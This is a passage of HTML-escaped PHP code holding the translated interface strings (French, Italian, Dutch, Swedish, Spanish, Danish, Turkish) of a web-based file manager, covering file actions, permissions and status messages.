'Ex&amp;#233;cuter',&lt;br /&gt;'reset' =&gt; 'R&amp;#233;initialiser',&lt;br /&gt;'relative' =&gt; 'Relatif',&lt;br /&gt;&lt;br /&gt;'yes' =&gt; 'Oui',&lt;br /&gt;'no' =&gt; 'Non',&lt;br /&gt;'back' =&gt; 'Retour',&lt;br /&gt;'destination' =&gt; 'Destination',&lt;br /&gt;'symlink' =&gt; 'Lien symbollique',&lt;br /&gt;'no_output' =&gt; 'Pas de sortie',&lt;br /&gt;&lt;br /&gt;'user' =&gt; 'Utilisateur',&lt;br /&gt;'password' =&gt; 'Mot de passe',&lt;br /&gt;'add' =&gt; 'Ajouter',&lt;br /&gt;'add_basic_auth' =&gt; 'add basic-authentification',&lt;br /&gt;&lt;br /&gt;'uploaded' =&gt; '"[%1]" a &amp;#233;t&amp;#233; t&amp;#233;l&amp;#233;charg&amp;#233; sur le serveur.',&lt;br /&gt;'not_uploaded' =&gt; '"[%1]" n a pas &amp;#233;t&amp;#233; t&amp;#233;l&amp;#233;charg&amp;#233; sur le serveur.',&lt;br /&gt;'already_exists' =&gt; '"[%1]" existe d&amp;#233;j&amp;#224;.',&lt;br /&gt;'created' =&gt; '"[%1]" a &amp;#233;t&amp;#233; cr&amp;#233;&amp;#233;.',&lt;br /&gt;'not_created' =&gt; '"[%1]" n a pas pu &amp;#234;tre cr&amp;#233;&amp;#233;.',&lt;br /&gt;'really_delete' =&gt; 'Effacer le fichier?',&lt;br /&gt;'deleted' =&gt; "Ces fichiers ont &amp;#233;t&amp;#233; d&amp;#233;tuits:\n[%1]",&lt;br /&gt;'not_deleted' =&gt; "Ces fichiers n ont pu &amp;#234;tre d&amp;#233;truits:\n[%1]",&lt;br /&gt;'rename_file' =&gt; 'Renomme fichier:',&lt;br /&gt;'renamed' =&gt; '"[%1]" a &amp;#233;t&amp;#233; renomm&amp;#233; en "[%2]".',&lt;br /&gt;'not_renamed' =&gt; '"[%1] n a pas pu &amp;#234;tre renomm&amp;#233; en "[%2]".',&lt;br /&gt;'move_files' =&gt; 'D&amp;#233;placer ces fichiers:',&lt;br /&gt;'moved' =&gt; "Ces fichiers ont &amp;#233;t&amp;#233; d&amp;#233;plac&amp;#233;s en \"[%2]\":\n[%1]",&lt;br /&gt;'not_moved' =&gt; "Ces fichiers n ont pas pu &amp;#234;tre d&amp;#233;plac&amp;#233;s en \"[%2]\":\n[%1]",&lt;br /&gt;'copy_files' =&gt; 'Copier ces fichiers:',&lt;br /&gt;'copied' =&gt; "Ces fichiers ont &amp;#233;t&amp;#233; copi&amp;#233;s en \"[%2]\":\n[%1]",&lt;br /&gt;'not_copied' =&gt; "Ces fichiers n ont pas pu &amp;#234;tre copi&amp;#233;s en \"[%2]\":\n[%1]",&lt;br /&gt;'not_edited' =&gt; '"[%1]" ne peut &amp;#234;tre ouvert.',&lt;br /&gt;'executed' =&gt; "\"[%1]\" a &amp;#233;t&amp;#233; brillamment ex&amp;#233;cut&amp;#233; :\n{%2}",&lt;br /&gt;'not_executed' =&gt; "\"[%1]\" n a pas pu &amp;#234;tre ex&amp;#233;cut&amp;#233;:\n{%2}",&lt;br /&gt;'saved' =&gt; '"[%1]" a &amp;#233;t&amp;#233; sauvegard&amp;#233;.',&lt;br /&gt;'not_saved' =&gt; '"[%1]" n a pas pu &amp;#234;tre sauvegard&amp;#233;.',&lt;br /&gt;'symlinked' =&gt; 'Un lien symbolique depuis "[%2]" vers "[%1]" a &amp;#233;t&amp;#233; cr&amp;#233;e.',&lt;br /&gt;'not_symlinked' =&gt; 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu &amp;#234;tre cr&amp;#233;&amp;#233;.',&lt;br /&gt;'permission_for' =&gt; 'Droits de "[%1]":',&lt;br /&gt;'permission_set' =&gt; 'Droits de "[%1]" ont &amp;#233;t&amp;#233; chang&amp;#233;s en [%2].',&lt;br /&gt;'permission_not_set' =&gt; 'Droits de "[%1]" n ont pas pu &amp;#234;tre chang&amp;#233;s en[%2].',&lt;br /&gt;'not_readable' =&gt; '"[%1]" ne peut pas &amp;#234;tre ouvert.'&lt;br /&gt;        );&lt;br /&gt;&lt;br /&gt;    case 'it':&lt;br /&gt;&lt;br /&gt;        $date_format = 'd-m-Y H:i:s';&lt;br /&gt;        $word_charset = 'ISO-8859-1';&lt;br /&gt;&lt;br /&gt;        return array(&lt;br /&gt;'directory' =&gt; 'Directory',&lt;br /&gt;'file' =&gt; 'File',&lt;br /&gt;'filename' =&gt; 'Nome File',&lt;br /&gt;&lt;br /&gt;'size' =&gt; 'Dimensioni',&lt;br /&gt;'permission' =&gt; 'Permessi',&lt;br /&gt;'owner' =&gt; 'Proprietario',&lt;br /&gt;'group' =&gt; 'Gruppo',&lt;br /&gt;'other' =&gt; 'Altro',&lt;br /&gt;'functions' =&gt; 'Funzioni',&lt;br /&gt;&lt;br /&gt;'read' =&gt; 'leggi',&lt;br /&gt;'write' =&gt; 'scrivi',&lt;br /&gt;'execute' =&gt; 'esegui',&lt;br /&gt;&lt;br /&gt;'create_symlink' =&gt; 'crea link simbolico',&lt;br /&gt;'delete' =&gt; 'cancella',&lt;br /&gt;'rename' =&gt; 'rinomina',&lt;br /&gt;'move' =&gt; 'sposta',&lt;br /&gt;'copy' =&gt; 'copia',&lt;br /&gt;'edit' =&gt; 'modifica',&lt;br /&gt;'download' =&gt; 'download',&lt;br /&gt;'upload' =&gt; 'upload',&lt;br /&gt;'create' =&gt; 'crea',&lt;br /&gt;'change' =&gt; 'cambia',&lt;br /&gt;'save' =&gt; 'salva',&lt;br /&gt;'set' =&gt; 'imposta',&lt;br /&gt;'reset' =&gt; 'reimposta',&lt;br /&gt;'relative' =&gt; 'Percorso relativo per la destinazione',&lt;br /&gt;&lt;br /&gt;'yes' =&gt; 'Si',&lt;br /&gt;'no' =&gt; 'No',&lt;br /&gt;'back' =&gt; 'indietro',&lt;br /&gt;'destination' =&gt; 'Destinazione',&lt;br /&gt;'symlink' =&gt; 'Link simbolico',&lt;br /&gt;'no_output' =&gt; 'no output',&lt;br /&gt;&lt;br /&gt;'user' =&gt; 'User',&lt;br /&gt;'password' =&gt; 'Password',&lt;br /&gt;'add' =&gt; 'aggiungi',&lt;br /&gt;'add_basic_auth' =&gt; 'aggiungi autenticazione base',&lt;br /&gt;&lt;br /&gt;'uploaded' =&gt; '"[%1]" &amp;#232; stato caricato.',&lt;br /&gt;'not_uploaded' =&gt; '"[%1]" non &amp;#232; stato caricato.',&lt;br /&gt;'already_exists' =&gt; '"[%1]" esiste gi&amp;#224;.',&lt;br /&gt;'created' =&gt; '"[%1]" &amp;#232; stato creato.',&lt;br /&gt;'not_created' =&gt; '"[%1]" non &amp;#232; stato creato.',&lt;br /&gt;'really_delete' =&gt; 'Cancello questi file ?',&lt;br /&gt;'deleted' =&gt; "Questi file sono stati cancellati:\n[%1]",&lt;br /&gt;'not_deleted' =&gt; "Questi file non possono essere cancellati:\n[%1]",&lt;br /&gt;'rename_file' =&gt; 'File rinominato:',&lt;br /&gt;'renamed' =&gt; '"[%1]" &amp;#232; stato rinominato in "[%2]".',&lt;br /&gt;'not_renamed' =&gt; '"[%1] non &amp;#232; stato rinominato in "[%2]".',&lt;br /&gt;'move_files' =&gt; 'Sposto questi file:',&lt;br /&gt;'moved' =&gt; "Questi file sono stati spostati in \"[%2]\":\n[%1]",&lt;br /&gt;'not_moved' =&gt; "Questi file non possono essere spostati in \"[%2]\":\n[%1]",&lt;br /&gt;'copy_files' =&gt; 'Copio questi file',&lt;br /&gt;'copied' =&gt; "Questi file sono stati copiati in \"[%2]\":\n[%1]",&lt;br /&gt;'not_copied' =&gt; "Questi file non possono essere copiati in \"[%2]\":\n[%1]",&lt;br /&gt;'not_edited' =&gt; '"[%1]" non pu&amp;#242; essere modificato.',&lt;br /&gt;'executed' =&gt; "\"[%1]\" &amp;#232; stato eseguito con successo:\n{%2}",&lt;br /&gt;'not_executed' =&gt; "\"[%1]\" non &amp;#232; stato eseguito con successo\n{%2}",&lt;br /&gt;'saved' =&gt; '"[%1]" &amp;#232; stato salvato.',&lt;br /&gt;'not_saved' =&gt; '"[%1]" non &amp;#232; stato salvato.',&lt;br /&gt;'symlinked' =&gt; 'Il link siambolico da "[%2]" a "[%1]" &amp;#232; stato creato.',&lt;br /&gt;'not_symlinked' =&gt; 'Il link siambolico da "[%2]" a "[%1]" non &amp;#232; stato creato.',&lt;br /&gt;'permission_for' =&gt; 'Permessi di "[%1]":',&lt;br /&gt;'permission_set' =&gt; 'I permessi di "[%1]" sono stati impostati [%2].',&lt;br /&gt;'permission_not_set' =&gt; 'I permessi di "[%1]" non sono stati impostati [%2].',&lt;br /&gt;'not_readable' =&gt; '"[%1]" non pu&amp;#242; essere letto.'&lt;br /&gt;        );&lt;br /&gt;&lt;br /&gt;    case 'nl':&lt;br /&gt;&lt;br /&gt;        $date_format = 'n/j/y H:i:s';&lt;br /&gt;        $word_charset = 'ISO-8859-1';&lt;br /&gt;&lt;br /&gt;        return array(&lt;br /&gt;'directory' =&gt; 'Directory',&lt;br /&gt;'file' =&gt; 'Bestand',&lt;br /&gt;'filename' =&gt; 'Bestandsnaam',&lt;br /&gt;&lt;br /&gt;'size' =&gt; 'Grootte',&lt;br /&gt;'permission' =&gt; 'Bevoegdheid',&lt;br /&gt;'owner' =&gt; 'Eigenaar',&lt;br /&gt;'group' =&gt; 'Groep',&lt;br /&gt;'other' =&gt; 'Anderen',&lt;br /&gt;'functions' =&gt; 'Functies',&lt;br /&gt;&lt;br /&gt;'read' =&gt; 'lezen',&lt;br /&gt;'write' =&gt; 'schrijven',&lt;br /&gt;'execute' =&gt; 'uitvoeren',&lt;br /&gt;&lt;br /&gt;'create_symlink' =&gt; 'maak symlink',&lt;br /&gt;'delete' =&gt; 'verwijderen',&lt;br /&gt;'rename' =&gt; 'hernoemen',&lt;br /&gt;'move' =&gt; 'verplaatsen',&lt;br /&gt;'copy' =&gt; 'kopieren',&lt;br /&gt;'edit' =&gt; 'bewerken',&lt;br /&gt;'download' =&gt; 'downloaden',&lt;br /&gt;'upload' =&gt; 'uploaden',&lt;br /&gt;'create' =&gt; 'aanmaken',&lt;br /&gt;'change' =&gt; 'veranderen',&lt;br /&gt;'save' =&gt; 'opslaan',&lt;br /&gt;'set' =&gt; 'instellen',&lt;br /&gt;'reset' =&gt; 'resetten',&lt;br /&gt;'relative' =&gt; 'Relatief pat naar doel',&lt;br /&gt;&lt;br /&gt;'yes' =&gt; 'Ja',&lt;br /&gt;'no' =&gt; 'Nee',&lt;br /&gt;'back' =&gt; 'terug',&lt;br /&gt;'destination' =&gt; 'Bestemming',&lt;br /&gt;'symlink' =&gt; 'Symlink',&lt;br /&gt;'no_output' =&gt; 'geen output',&lt;br /&gt;&lt;br /&gt;'user' =&gt; 'Gebruiker',&lt;br /&gt;'password' =&gt; 'Wachtwoord',&lt;br /&gt;'add' =&gt; 'toevoegen',&lt;br /&gt;'add_basic_auth' =&gt; 'add basic-authentification',&lt;br /&gt;&lt;br /&gt;'uploaded' =&gt; '"[%1]" is verstuurd.',&lt;br /&gt;'not_uploaded' =&gt; '"[%1]" kan niet worden verstuurd.',&lt;br /&gt;'already_exists' =&gt; '"[%1]" bestaat al.',&lt;br /&gt;'created' =&gt; '"[%1]" is aangemaakt.',&lt;br /&gt;'not_created' =&gt; '"[%1]" kan niet worden aangemaakt.',&lt;br /&gt;'really_delete' =&gt; 'Deze bestanden verwijderen?',&lt;br /&gt;'deleted' =&gt; "Deze bestanden zijn verwijderd:\n[%1]",&lt;br /&gt;'not_deleted' =&gt; "Deze bestanden konden niet worden verwijderd:\n[%1]",&lt;br /&gt;'rename_file' =&gt; 'Bestandsnaam veranderen:',&lt;br /&gt;'renamed' =&gt; '"[%1]" heet nu "[%2]".',&lt;br /&gt;'not_renamed' =&gt; '"[%1] kon niet worden veranderd in "[%2]".',&lt;br /&gt;'move_files' =&gt; 'Verplaats deze bestanden:',&lt;br /&gt;'moved' =&gt; "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]",&lt;br /&gt;'not_moved' =&gt; "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]",&lt;br /&gt;'copy_files' =&gt; 'Kopieer deze bestanden:',&lt;br /&gt;'copied' =&gt; "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]",&lt;br /&gt;'not_copied' =&gt; "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]",&lt;br /&gt;'not_edited' =&gt; '"[%1]" kan niet worden bewerkt.',&lt;br /&gt;'executed' =&gt; "\"[%1]\" is met succes uitgevoerd:\n{%2}",&lt;br /&gt;'not_executed' =&gt; "\"[%1]\" is niet goed uitgevoerd:\n{%2}",&lt;br /&gt;'saved' =&gt; '"[%1]" is opgeslagen.',&lt;br /&gt;'not_saved' =&gt; '"[%1]" is niet opgeslagen.',&lt;br /&gt;'symlinked' =&gt; 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',&lt;br /&gt;'not_symlinked' =&gt; 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',&lt;br /&gt;'permission_for' =&gt; 'Bevoegdheid voor "[%1]":',&lt;br /&gt;'permission_set' =&gt; 'Bevoegdheid van "[%1]" is ingesteld op [%2].',&lt;br /&gt;'permission_not_set' =&gt; 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',&lt;br /&gt;'not_readable' =&gt; '"[%1]" kan niet worden gelezen.'&lt;br /&gt;        );&lt;br /&gt;&lt;br /&gt;    case 'se':&lt;br /&gt;&lt;br /&gt;        $date_format = 'n/j/y H:i:s';&lt;br /&gt;        $word_charset = 'ISO-8859-1';&lt;br /&gt; &lt;br /&gt;        return array(&lt;br /&gt;'directory' =&gt; 'Mapp',&lt;br /&gt;'file' =&gt; 'Fil',&lt;br /&gt;'filename' =&gt; 'Filnamn',&lt;br /&gt; &lt;br /&gt;'size' =&gt; 'Storlek',&lt;br /&gt;'permission' =&gt; 'S&amp;#228;kerhetsniv&amp;#229;',&lt;br /&gt;'owner' =&gt; '&amp;#196;gare',&lt;br /&gt;'group' =&gt; 'Grupp',&lt;br /&gt;'other' =&gt; 'Andra',&lt;br /&gt;'functions' =&gt; 'Funktioner',&lt;br /&gt; &lt;br /&gt;'read' =&gt; 'L&amp;#228;s',&lt;br /&gt;'write' =&gt; 'Skriv',&lt;br /&gt;'execute' =&gt; 'Utf&amp;#246;r',&lt;br /&gt; &lt;br /&gt;'create_symlink' =&gt; 'Skapa symlink',&lt;br /&gt;'delete' =&gt; 'Radera',&lt;br /&gt;'rename' =&gt; 'Byt namn',&lt;br /&gt;'move' =&gt; 'Flytta',&lt;br /&gt;'copy' =&gt; 'Kopiera',&lt;br /&gt;'edit' =&gt; '&amp;#196;ndra',&lt;br /&gt;'download' =&gt; 'Ladda ner',&lt;br /&gt;'upload' =&gt; 'Ladda upp',&lt;br /&gt;'create' =&gt; 'Skapa',&lt;br /&gt;'change' =&gt; '&amp;#196;ndra',&lt;br /&gt;'save' =&gt; 'Spara',&lt;br /&gt;'set' =&gt; 'Markera',&lt;br /&gt;'reset' =&gt; 'T&amp;#246;m',&lt;br /&gt;'relative' =&gt; 'Relative path to target',&lt;br /&gt; &lt;br /&gt;'yes' =&gt; 'Ja',&lt;br /&gt;'no' =&gt; 'Nej',&lt;br /&gt;'back' =&gt; 'Tillbaks',&lt;br /&gt;'destination' =&gt; 'Destination',&lt;br /&gt;'symlink' =&gt; 'Symlink',&lt;br /&gt;'no_output' =&gt; 'no output',&lt;br /&gt; &lt;br /&gt;'user' =&gt; 'Anv&amp;#228;ndare',&lt;br /&gt;'password' =&gt; 'L&amp;#246;senord',&lt;br /&gt;'add' =&gt; 'L&amp;#228;gg till',&lt;br /&gt;'add_basic_auth' =&gt; 'add basic-authentification',&lt;br /&gt; &lt;br /&gt;'uploaded' =&gt; '"[%1]" har laddats upp.',&lt;br /&gt;'not_uploaded' =&gt; '"[%1]" kunde inte laddas upp.',&lt;br /&gt;'already_exists' =&gt; '"[%1]" finns redan.',&lt;br /&gt;'created' =&gt; '"[%1]" har skapats.',&lt;br /&gt;'not_created' =&gt; '"[%1]" kunde inte skapas.',&lt;br /&gt;'really_delete' =&gt; 'Radera dessa filer?',&lt;br /&gt;'deleted' =&gt; "De h&amp;#228;r filerna har raderats:\n[%1]",&lt;br /&gt;'not_deleted' =&gt; "Dessa filer kunde inte raderas:\n[%1]",&lt;br /&gt;'rename_file' =&gt; 'Byt namn p&amp;#229; fil:',&lt;br /&gt;'renamed' =&gt; '"[%1]" har bytt namn till "[%2]".',&lt;br /&gt;'not_renamed' =&gt; '"[%1] kunde inte d&amp;#246;pas om till "[%2]".',&lt;br /&gt;'move_files' =&gt; 'Flytta dessa filer:',&lt;br /&gt;'moved' =&gt; "Dessa filer har flyttats till \"[%2]\":\n[%1]",&lt;br /&gt;'not_moved' =&gt; "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",&lt;br /&gt;'copy_files' =&gt; 'Kopiera dessa filer:',&lt;br /&gt;'copied' =&gt; "Dessa filer har kopierats till \"[%2]\":\n[%1]",&lt;br /&gt;'not_copied' =&gt; "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",&lt;br /&gt;'not_edited' =&gt; '"[%1]" kan inte &amp;#228;ndras.',&lt;br /&gt;'executed' =&gt; "\"[%1]\" har utf&amp;#246;rts:\n{%2}",&lt;br /&gt;'not_executed' =&gt; "\"[%1]\" kunde inte utf&amp;#246;ras:\n{%2}",&lt;br /&gt;'saved' =&gt; '"[%1]" har sparats.',&lt;br /&gt;'not_saved' =&gt; '"[%1]" kunde inte sparas.',&lt;br /&gt;'symlinked' =&gt; 'Symlink fr&amp;#229;n "[%2]" till "[%1]" har skapats.',&lt;br /&gt;'not_symlinked' =&gt; 'Symlink fr&amp;#229;n "[%2]" till "[%1]" kunde inte skapas.',&lt;br /&gt;'permission_for' =&gt; 'R&amp;#228;ttigheter f&amp;#246;r "[%1]":',&lt;br /&gt;'permission_set' =&gt; 'R&amp;#228;ttigheter f&amp;#246;r "[%1]" &amp;#228;ndrades till [%2].',&lt;br /&gt;'permission_not_set' =&gt; 'Permission of "[%1]" could not be set to [%2].',&lt;br /&gt;'not_readable' =&gt; '"[%1]" kan inte l&amp;#228;sas.'&lt;br /&gt;        );&lt;br /&gt;&lt;br /&gt;    case 'sp':&lt;br /&gt;&lt;br /&gt;        $date_format = 'j/n/y H:i:s';&lt;br /&gt;        $word_charset = 'ISO-8859-1';&lt;br /&gt;&lt;br /&gt;        return array(&lt;br /&gt;'directory' =&gt; 'Directorio',&lt;br /&gt;'file' =&gt; 'Archivo',&lt;br /&gt;'filename' =&gt; 'Nombre Archivo',&lt;br /&gt;&lt;br /&gt;'size' =&gt; 'Tama&amp;#241;o',&lt;br /&gt;'permission' =&gt; 'Permisos',&lt;br /&gt;'owner' =&gt; 'Propietario',&lt;br /&gt;'group' =&gt; 'Grupo',&lt;br /&gt;'other' =&gt; 'Otros',&lt;br /&gt;'functions' =&gt; 'Funciones',&lt;br /&gt;&lt;br /&gt;'read' =&gt; 'lectura',&lt;br /&gt;'write' =&gt; 'escritura',&lt;br /&gt;'execute' =&gt; 'ejecuci&amp;#243;n',&lt;br /&gt;&lt;br /&gt;'create_symlink' =&gt; 'crear enlace',&lt;br /&gt;'delete' =&gt; 'borrar',&lt;br /&gt;'rename' =&gt; 'renombrar',&lt;br /&gt;'move' =&gt; 'mover',&lt;br /&gt;'copy' =&gt; 'copiar',&lt;br /&gt;'edit' =&gt; 'editar',&lt;br /&gt;'download' =&gt; 'bajar',&lt;br /&gt;'upload' =&gt; 'subir',&lt;br /&gt;'create' =&gt; 'crear',&lt;br /&gt;'change' =&gt; 'cambiar',&lt;br /&gt;'save' =&gt; 'salvar',&lt;br /&gt;'set' =&gt; 'setear',&lt;br /&gt;'reset' =&gt; 'resetear',&lt;br /&gt;'relative' =&gt; 'Path relativo',&lt;br /&gt;&lt;br /&gt;'yes' =&gt; 'Si',&lt;br /&gt;'no' =&gt; 'No',&lt;br /&gt;'back' =&gt; 'atr&amp;#225;s',&lt;br /&gt;'destination' =&gt; 'Destino',&lt;br /&gt;'symlink' =&gt; 'Enlace',&lt;br /&gt;'no_output' =&gt; 'sin salida',&lt;br /&gt;&lt;br /&gt;'user' =&gt; 'Usuario',&lt;br /&gt;'password' =&gt; 'Clave',&lt;br /&gt;'add' =&gt; 'agregar',&lt;br /&gt;'add_basic_auth' =&gt; 'agregar autentificaci&amp;#243;n b&amp;#225;sica',&lt;br /&gt;&lt;br /&gt;'uploaded' =&gt; '"[%1]" ha sido subido.',&lt;br /&gt;'not_uploaded' =&gt; '"[%1]" no pudo ser subido.',&lt;br /&gt;'already_exists' =&gt; '"[%1]" ya existe.',&lt;br /&gt;'created' =&gt; '"[%1]" ha sido creado.',&lt;br /&gt;'not_created' =&gt; '"[%1]" no pudo ser creado.',&lt;br /&gt;'really_delete' =&gt; '&amp;#191;Borra estos archivos?',&lt;br /&gt;'deleted' =&gt; "Estos archivos han sido borrados:\n[%1]",&lt;br /&gt;'not_deleted' =&gt; "Estos archivos no pudieron ser borrados:\n[%1]",&lt;br /&gt;'rename_file' =&gt; 'Renombra archivo:',&lt;br /&gt;'renamed' =&gt; '"[%1]" ha sido renombrado a "[%2]".',&lt;br /&gt;'not_renamed' =&gt; '"[%1] no pudo ser renombrado a "[%2]".',&lt;br /&gt;'move_files' =&gt; 'Mover estos archivos:',&lt;br /&gt;'moved' =&gt; "Estos archivos han sido movidos a \"[%2]\":\n[%1]",&lt;br /&gt;'not_moved' =&gt; "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]",&lt;br /&gt;'copy_files' =&gt; 'Copiar estos archivos:',&lt;br /&gt;'copied' =&gt; "Estos archivos han sido copiados a  \"[%2]\":\n[%1]",&lt;br /&gt;'not_copied' =&gt; "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]",&lt;br /&gt;'not_edited' =&gt; '"[%1]" no pudo ser editado.',&lt;br /&gt;'executed' =&gt; "\"[%1]\" ha sido ejecutado correctamente:\n{%2}",&lt;br /&gt;'not_executed' =&gt; "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}",&lt;br /&gt;'saved' =&gt; '"[%1]" ha sido salvado.',&lt;br /&gt;'not_saved' =&gt; '"[%1]" no pudo ser salvado.',&lt;br /&gt;'symlinked' =&gt; 'Enlace desde "[%2]" a "[%1]" ha sido creado.',&lt;br /&gt;'not_symlinked' =&gt; 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',&lt;br /&gt;'permission_for' =&gt; 'Permisos de "[%1]":',&lt;br /&gt;'permission_set' =&gt; 'Permisos de "[%1]" fueron seteados a [%2].',&lt;br /&gt;'permission_not_set' =&gt; 'Permisos de "[%1]" no pudo ser seteado a [%2].',&lt;br /&gt;'not_readable' =&gt; '"[%1]" no pudo ser le&amp;#237;do.'&lt;br /&gt;        );&lt;br /&gt;&lt;br /&gt;    case 'dk':&lt;br /&gt;&lt;br /&gt;        $date_format = 'n/j/y H:i:s';&lt;br /&gt;        $word_charset = 'ISO-8859-1';&lt;br /&gt;&lt;br /&gt;        return array(&lt;br /&gt;'directory' =&gt; 'Mappe',&lt;br /&gt;'file' =&gt; 'Fil',&lt;br /&gt;'filename' =&gt; 'Filnavn',&lt;br /&gt;&lt;br /&gt;'size' =&gt; 'St&amp;#248;rrelse',&lt;br /&gt;'permission' =&gt; 'Rettighed',&lt;br /&gt;'owner' =&gt; 'Ejer',&lt;br /&gt;'group' =&gt; 'Gruppe',&lt;br /&gt;'other' =&gt; 'Andre',&lt;br /&gt;'functions' =&gt; 'Funktioner',&lt;br /&gt;&lt;br /&gt;'read' =&gt; 'l&amp;#230;s',&lt;br /&gt;'write' =&gt; 'skriv',&lt;br /&gt;'execute' =&gt; 'k&amp;#248;r',&lt;br /&gt;&lt;br /&gt;'create_symlink' =&gt; 'opret symbolsk link',&lt;br /&gt;'delete' =&gt; 'slet',&lt;br /&gt;'rename' =&gt; 'omd&amp;#248;b',&lt;br /&gt;'move' =&gt; 'flyt',&lt;br /&gt;'copy' =&gt; 'kopier',&lt;br /&gt;'edit' =&gt; 'rediger',&lt;br /&gt;'download' =&gt; 'download',&lt;br /&gt;'upload' =&gt; 'upload',&lt;br /&gt;'create' =&gt; 'opret',&lt;br /&gt;'change' =&gt; 'skift',&lt;br /&gt;'save' =&gt; 'gem',&lt;br /&gt;'set' =&gt; 's&amp;#230;t',&lt;br /&gt;'reset' =&gt; 'nulstil',&lt;br /&gt;'relative' =&gt; 'Relativ sti til valg',&lt;br /&gt;&lt;br /&gt;'yes' =&gt; 'Ja',&lt;br /&gt;'no' =&gt; 'Nej',&lt;br /&gt;'back' =&gt; 'tilbage',&lt;br /&gt;'destination' =&gt; 'Distination',&lt;br /&gt;'symlink' =&gt; 'Symbolsk link',&lt;br /&gt;'no_output' =&gt; 'ingen resultat',&lt;br /&gt;&lt;br /&gt;'user' =&gt; 'Bruger',&lt;br /&gt;'password' =&gt; 'Kodeord',&lt;br /&gt;'add' =&gt; 'tilf&amp;#248;j',&lt;br /&gt;'add_basic_auth' =&gt; 'tilf&amp;#248;j grundliggende rettigheder',&lt;br /&gt;&lt;br /&gt;'uploaded' =&gt; '"[%1]" er blevet uploaded.',&lt;br /&gt;'not_uploaded' =&gt; '"[%1]" kunnu ikke uploades.',&lt;br /&gt;'already_exists' =&gt; '"[%1]" findes allerede.',&lt;br /&gt;'created' =&gt; '"[%1]" er blevet oprettet.',&lt;br /&gt;'not_created' =&gt; '"[%1]" kunne ikke oprettes.',&lt;br /&gt;'really_delete' =&gt; 'Slet disse filer?',&lt;br /&gt;'deleted' =&gt; "Disse filer er blevet slettet:\n[%1]",&lt;br /&gt;'not_deleted' =&gt; "Disse filer kunne ikke slettes:\n[%1]",&lt;br /&gt;'rename_file' =&gt; 'Omd&amp;#248;d fil:',&lt;br /&gt;'renamed' =&gt; '"[%1]" er blevet omd&amp;#248;bt til "[%2]".',&lt;br /&gt;'not_renamed' =&gt; '"[%1] kunne ikke omd&amp;#248;bes til "[%2]".',&lt;br /&gt;'move_files' =&gt; 'Flyt disse filer:',&lt;br /&gt;'moved' =&gt; "Disse filer er blevet flyttet til \"[%2]\":\n[%1]",&lt;br /&gt;'not_moved' =&gt; "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]",&lt;br /&gt;'copy_files' =&gt; 'Kopier disse filer:',&lt;br /&gt;'copied' =&gt; "Disse filer er kopieret til \"[%2]\":\n[%1]",&lt;br /&gt;'not_copied' =&gt; "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]",&lt;br /&gt;'not_edited' =&gt; '"[%1]" kan ikke redigeres.',&lt;br /&gt;'executed' =&gt; "\"[%1]\" er blevet k&amp;#248;rt korrekt:\n{%2}",&lt;br /&gt;'not_executed' =&gt; "\"[%1]\" kan ikke k&amp;#248;res korrekt:\n{%2}",&lt;br /&gt;'saved' =&gt; '"[%1]" er blevet gemt.',&lt;br /&gt;'not_saved' =&gt; '"[%1]" kunne ikke gemmes.',&lt;br /&gt;'symlinked' =&gt; 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',&lt;br /&gt;'not_symlinked' =&gt; 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',&lt;br /&gt;'permission_for' =&gt; 'Rettigheder for "[%1]":',&lt;br /&gt;'permission_set' =&gt; 'Rettigheder for "[%1]" blev sat til [%2].',&lt;br /&gt;'permission_not_set' =&gt; 'Rettigheder for "[%1]" kunne ikke s&amp;#230;ttes til [%2].',&lt;br /&gt;'not_readable' =&gt; '"[%1]" Kan ikke l&amp;#230;ses.'&lt;br /&gt;        );&lt;br /&gt;&lt;br /&gt;    case 'tr':&lt;br /&gt;&lt;br /&gt;        $date_format = 'n/j/y H:i:s';&lt;br /&gt;        $word_charset = 'ISO-8859-1';&lt;br /&gt;&lt;br /&gt;        return array(&lt;br /&gt;'directory' =&gt; 'Klas&amp;#246;r',&lt;br /&gt;'file' =&gt; 'Dosya',&lt;br /&gt;'filename' =&gt; 'dosya adi',&lt;br /&gt;&lt;br /&gt;'size' =&gt; 'boyutu',&lt;br /&gt;'permission' =&gt; 'Izin',&lt;br /&gt;'owner' =&gt; 'sahib',&lt;br /&gt;'group' =&gt; 'Grup',&lt;br /&gt;'other' =&gt; 'Digerleri',&lt;br /&gt;'functions' =&gt; 'Fonksiyonlar',&lt;br /&gt;&lt;br /&gt;'read' =&gt; 'oku',&lt;br /&gt;'write' =&gt; 'yaz',&lt;br /&gt;'execute' =&gt; '&amp;#231;alistir',&lt;br /&gt;&lt;br /&gt;'create_symlink' =&gt; 'yarat symlink',&lt;br /&gt;'delete' =&gt; 'sil',&lt;br /&gt;'rename' =&gt; 'ad degistir',&lt;br /&gt;'move' =&gt; 'tasi',&lt;br /&gt;'copy' =&gt; 'kopyala',&lt;br /&gt;'edit' =&gt; 'd&amp;#252;zenle',&lt;br /&gt;'download' =&gt; 'indir',&lt;br /&gt;'upload' =&gt; 'y&amp;#252;kle',&lt;br /&gt;'create' =&gt; 'create',&lt;br /&gt;'change' =&gt; 'degistir',&lt;br /&gt;'save' =&gt; 'kaydet',&lt;br /&gt;'set' =&gt; 'ayar',&lt;br /&gt;'reset' =&gt; 'sifirla',&lt;br /&gt;'relative' =&gt; 'Hedef yola g&amp;#246;re',&lt;br /&gt;&lt;br /&gt;'yes' =&gt; 'Evet',&lt;br /&gt;'no' =&gt; 'Hayir',&lt;br /&gt;'back' =&gt; 'Geri',&lt;br /&gt;'destination' =&gt; 'Hedef',&lt;br /&gt;'symlink' =&gt; 'K&amp;#253;sa yol',&lt;br /&gt;'no_output' 